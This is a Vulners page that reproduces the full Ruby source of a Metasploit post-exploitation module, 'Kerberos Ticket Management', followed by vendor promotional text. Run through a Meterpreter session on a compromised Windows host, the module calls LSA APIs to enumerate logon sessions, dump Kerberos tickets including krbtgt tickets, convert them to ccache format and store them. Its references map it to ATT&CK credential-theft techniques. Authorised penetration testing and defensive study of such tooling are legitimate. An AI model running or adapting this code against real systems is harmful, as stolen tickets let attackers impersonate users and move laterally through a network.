Lucene search
K

Kerberos Ticket Management

🗓️ 08 Dec 2023 19:51:15Reported by Will Schroeder, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 229 Views

Manage Kerberos tickets on compromised hos

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/kerberos/model/kerberos_flags'
require 'rex/proto/kerberos/model/ticket_flags'
require 'rex/proto/ms_dtyp'

class MetasploitModule < Msf::Post
  include Msf::Post::Process
  include Msf::Post::Windows::Lsa
  include Msf::Exploit::Remote::Kerberos::Ticket

  CURRENT_PROCESS = -1
  CURRENT_THREAD = -2

  # https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-security_logon_type
  SECURITY_LOGON_TYPE = {
    0 => 'UndefinedLogonType',
    2 => 'Interactive',
    3 => 'Network',
    4 => 'Batch',
    5 => 'Service',
    6 => 'Proxy',
    7 => 'Unlock',
    8 => 'NetworkCleartext',
    9 => 'NewCredentials',
    10 => 'RemoteInteractive',
    11 => 'CachedInteractive',
    12 => 'CachedRemoteInteractive',
    13 => 'CachedUnlock'
  }.freeze
  # https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/ne-ntsecapi-kerb_protocol_message_type
  KERB_RETRIEVE_ENCODED_TICKET_MESSAGE = 8
  KERB_QUERY_TICKET_CACHE_EX_MESSAGE = 14

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kerberos Ticket Management',
        'Description' => %q{
          Manage kerberos tickets on a compromised host.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Will Schroeder', # original idea/research
          'Spencer McIntyre'
        ],
        'References' => [
          [ 'URL', 'https://github.com/GhostPack/Rubeus' ],
          [ 'URL', 'https://github.com/wavvs/nanorobeus' ],
          ['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS],
          ['ATT&CK', Mitre::Attack::Technique::T1003_004_LSA_SECRETS],
          ['ATT&CK', Mitre::Attack::Technique::T1005_DATA_FROM_LOCAL_SYSTEM]
        ],
        'Platform' => ['win'],
        'SessionTypes' => %w[meterpreter],
        'Actions' => [
          ['DUMP_TICKETS', { 'Description' => 'Dump the Kerberos tickets' }],
          ['ENUM_LUIDS', { 'Description' => 'Enumerate session logon LUIDs' }],
          ['SHOW_LUID', { 'Description' => 'Show the current LUID' }],
        ],
        'DefaultAction' => 'DUMP_TICKETS',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_net_resolve_host
              stdapi_railgun_api
              stdapi_railgun_memread
              stdapi_railgun_memwrite
            ]
          }
        }
      )
    )

    register_options([
      OptString.new(
        'LUID',
        [false, 'An optional logon session LUID to target'],
        conditions: [ 'ACTION', 'in', %w[SHOW_LUID DUMP_TICKETS]],
        regex: /^(0x[a-fA-F0-9]{1,16})?$/
      ),
      OptString.new(
        'SERVICE',
        [false, 'An optional service name wildcard to target (e.g. krbtgt/*)'],
        conditions: %w[ACTION == DUMP_TICKETS]
      )
    ])
  end

  def run
    case session.native_arch
    when ARCH_X64
      @ptr_size = 8
    when ARCH_X86
      @ptr_size = 4
    else
      fail_with(Failure::NoTarget, "This module does not support #{session.native_arch} sessions.")
    end
    @hostname_cache = {}
    @indent_level = 0

    send("action_#{action.name.downcase}")
  end

  def action_dump_tickets
    handle = lsa_register_logon_process
    luids = nil
    if handle
      if target_luid
        luids = [ target_luid ]
      else
        luids = lsa_enumerate_logon_sessions
        print_error('Failed to enumerate logon sessions.') if luids.nil?
      end
      trusted = true
    else
      handle = lsa_connect_untrusted
      # if we can't register a logon process then we can only act on the current LUID so skip enumeration
      fail_with(Failure::Unknown, 'Failed to obtain a handle to LSA.') if handle.nil?
      trusted = false
    end
    luids ||= [ get_current_luid ]

    print_status("LSA Handle: 0x#{handle.to_s(16).rjust(@ptr_size * 2, '0')}")
    auth_package = lsa_lookup_authentication_package(handle, 'kerberos')
    if auth_package.nil?
      lsa_deregister_logon_process(handle)
      fail_with(Failure::Unknown, 'Failed to lookup the Kerberos authentication package.')
    end

    luids.each do |luid|
      dump_for_luid(handle, auth_package, luid, null_luid: !trusted)
    end
    lsa_deregister_logon_process(handle)
  end

  def action_enum_luids
    current_luid = get_current_luid
    luids = lsa_enumerate_logon_sessions
    fail_with(Failure::Unknown, 'Failed to enumerate logon sessions.') if luids.nil?

    luids.each do |luid|
      logon_session_data_ptr = lsa_get_logon_session_data(luid)
      unless logon_session_data_ptr
        print_status("LogonSession LUID: #{luid}")
        next
      end

      print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
      session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
    end
  end

  def action_show_luid
    current_luid = get_current_luid
    luid = target_luid || current_luid
    logon_session_data_ptr = lsa_get_logon_session_data(luid)
    return unless logon_session_data_ptr

    print_logon_session_summary(logon_session_data_ptr, annotation: luid == current_luid ? '%bld(current)%clr' : '')
    session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)
  end

  def dump_for_luid(handle, auth_package, luid, null_luid: false)
    logon_session_data_ptr = lsa_get_logon_session_data(luid)
    return unless logon_session_data_ptr

    print_logon_session_summary(logon_session_data_ptr)
    session.railgun.secur32.LsaFreeReturnBuffer(logon_session_data_ptr.value)

    logon_session_data_ptr.contents.logon_id.clear if null_luid
    query_tkt_cache_req = KERB_QUERY_TKT_CACHE_REQUEST.new(
      message_type: KERB_QUERY_TICKET_CACHE_EX_MESSAGE,
      logon_id: logon_session_data_ptr.contents.logon_id
    )
    query_tkt_cache_res_ptr = lsa_call_authentication_package(handle, auth_package, query_tkt_cache_req)
    if query_tkt_cache_res_ptr
      indented_print do
        dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
      end
      session.railgun.secur32.LsaFreeReturnBuffer(query_tkt_cache_res_ptr.value)
    end
  end

  def dump_session_tickets(handle, auth_package, logon_session_data_ptr, query_tkt_cache_res_ptr)
    case session.native_arch
    when ARCH_X64
      query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x64
      retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x64
      retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x64
    when ARCH_X86
      query_tkt_cache_response_klass = KERB_QUERY_TKT_CACHE_RESPONSE_x86
      retrieve_tkt_request_klass = KERB_RETRIEVE_TKT_REQUEST_x86
      retrieve_tkt_response_klass = KERB_RETRIEVE_TKT_RESPONSE_x86
    end

    tkt_cache = query_tkt_cache_response_klass.read(query_tkt_cache_res_ptr.contents)
    tkt_cache.tickets.each_with_index do |ticket, index|
      server_name = read_lsa_unicode_string(ticket.server_name)
      if datastore['SERVICE'].present? && !File.fnmatch?(datastore['SERVICE'], server_name.split('@').first, File::FNM_CASEFOLD | File::FNM_DOTMATCH)
        next
      end

      server_name_wz = session.railgun.util.str_to_uni_z(server_name)
      print_status("Ticket[#{index}]")
      indented_print do
        retrieve_tkt_req = retrieve_tkt_request_klass.new(
          message_type: KERB_RETRIEVE_ENCODED_TICKET_MESSAGE,
          logon_id: logon_session_data_ptr.contents.logon_id, cache_options: 8
        )
        ptr = session.railgun.util.alloc_and_write_data(retrieve_tkt_req.to_binary_s + server_name_wz)
        next if ptr.nil?

        retrieve_tkt_req.target_name.len = server_name_wz.length - 2
        retrieve_tkt_req.target_name.maximum_len = server_name_wz.length
        retrieve_tkt_req.target_name.buffer = ptr + retrieve_tkt_req.num_bytes
        session.railgun.memwrite(ptr, retrieve_tkt_req)
        retrieve_tkt_res_ptr = lsa_call_authentication_package(handle, auth_package, ptr, submit_buffer_length: retrieve_tkt_req.num_bytes + server_name_wz.length)
        session.railgun.util.free_data(ptr)
        next if retrieve_tkt_res_ptr.nil?

        retrieve_tkt_res = retrieve_tkt_response_klass.read(retrieve_tkt_res_ptr.contents)
        if retrieve_tkt_res.ticket.encoded_ticket != 0
          ticket = kirbi_to_ccache(session.railgun.memread(retrieve_tkt_res.ticket.encoded_ticket, retrieve_tkt_res.ticket.encoded_ticket_size))
          ticket_host = ticket.credentials.first.server.components.last.snapshot
          ticket_host = resolve_host(ticket_host) if ticket_host

          Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.read(ticket.encode)
          Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ticket, framework_module: self, host: ticket_host)
          presenter = Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter.new(ticket)
          print_line(presenter.present.split("\n").map { |line| "    #{print_prefix}#{line}" }.join("\n"))
        end
        session.railgun.secur32.LsaFreeReturnBuffer(retrieve_tkt_res_ptr.value)
      end
    end
  end

  def target_luid
    return nil if datastore['LUID'].blank?

    val = datastore['LUID'].to_i(16)
    Rex::Proto::MsDtyp::MsDtypLuid.new(
      high_part: (val & 0xffffffff) >> 32,
      low_part: (val & 0xffffffff)
    )
  end

  def kirbi_to_ccache(input)
    krb_cred = Rex::Proto::Kerberos::Model::KrbCred.decode(input)
    Msf::Exploit::Remote::Kerberos::TicketConverter.kirbi_to_ccache(krb_cred)
  end

  def get_current_luid
    luid = get_token_statistics&.authentication_id
    fail_with(Failure::Unknown, 'Failed to obtain the current LUID.') unless luid
    luid
  end

  def get_token_statistics(token: nil)
    if token.nil?
      result = session.railgun.advapi32.OpenThreadToken(CURRENT_THREAD, session.railgun.const('TOKEN_QUERY'), false, @ptr_size)
      unless result['return']
        error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
        unless error == ::WindowsError::Win32::ERROR_NO_TOKEN
          print_error("Failed to open the current thread token. OpenThreadToken failed with: #{error}")
          return nil
        end

        result = session.railgun.advapi32.OpenProcessToken(CURRENT_PROCESS, session.railgun.const('TOKEN_QUERY'), @ptr_size)
        unless result['return']
          error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
          print_error("Failed to open the current process token. OpenProcessToken failed with: #{error}")
          return nil
        end
      end
      token = result['TokenHandle']
    end

    result = session.railgun.advapi32.GetTokenInformation(token, 10, TOKEN_STATISTICS.new.num_bytes, TOKEN_STATISTICS.new.num_bytes, @ptr_size)
    unless result['return']
      error = ::WindowsError::Win32.find_by_retval(result['GetLastError']).first
      print_error("Failed to obtain the token information. GetTokenInformation failed with: #{error}")
      return nil
    end
    TOKEN_STATISTICS.read(result['TokenInformation'])
  end

  def resolve_host(name)
    name = name.dup.downcase # normalize the case since DNS is case insensitive
    return @hostname_cache[name] if @hostname_cache.key?(name)

    vprint_status("Resolving hostname: #{name}")
    begin
      address = session.net.resolve.resolve_host(name)[:ip]
    rescue Rex::Post::Meterpreter::RequestError => e
      elog("Unable to resolve #{name.inspect}", error: e)
    end
    @hostname_cache[name] = address
  end

  def print_logon_session_summary(logon_session_data_ptr, annotation: nil)
    sid = '???'
    if datastore['VERBOSE'] && logon_session_data_ptr.contents.psid != 0
      # reading the SID requires 3 railgun calls so only do it in verbose mode to speed things up
      # reading the data directly wouldn't be much faster because SIDs are of a variable length
      result = session.railgun.advapi32.ConvertSidToStringSidA(logon_session_data_ptr.contents.psid.to_i, @ptr_size)
      if result
        sid = session.railgun.util.read_string(result['StringSid'])
        session.railgun.kernel32.LocalFree(result['StringSid'])
      end
    end

    print_status("LogonSession LUID: #{logon_session_data_ptr.contents.logon_id} #{annotation}")
    indented_print do
      print_status("User:                  #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_domain)}\\#{read_lsa_unicode_string(logon_session_data_ptr.contents.user_name)}")
      print_status("UserSID:               #{sid}") if datastore['VERBOSE']
      print_status("Session:               #{logon_session_data_ptr.contents.session}")
      print_status("AuthenticationPackage: #{read_lsa_unicode_string(logon_session_data_ptr.contents.authentication_package)}")
      print_status("LogonType:             #{SECURITY_LOGON_TYPE.fetch(logon_session_data_ptr.contents.logon_type.to_i, '???')} (#{logon_session_data_ptr.contents.logon_type.to_i})")
      print_status("LogonTime:             #{logon_session_data_ptr.contents.logon_time.to_datetime.localtime}")
      print_status("LogonServer:           #{read_lsa_unicode_string(logon_session_data_ptr.contents.logon_server)}") if datastore['VERBOSE']
      print_status("LogonServerDNSDomain:  #{read_lsa_unicode_string(logon_session_data_ptr.contents.dns_domain_name)}") if datastore['VERBOSE']
      print_status("UserPrincipalName:     #{read_lsa_unicode_string(logon_session_data_ptr.contents.upn)}") if datastore['VERBOSE']
    end
  end

  def peer
    nil # drop the peer prefix from messages
  end

  def indented_print(&block)
    @indent_level += 1
    block.call
  ensure
    @indent_level -= 1
  end

  def print_prefix
    super + (' ' * @indent_level.to_i * 2)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jun 2026 19:05Current
5.3Medium risk
Vulners AI Score5.3
229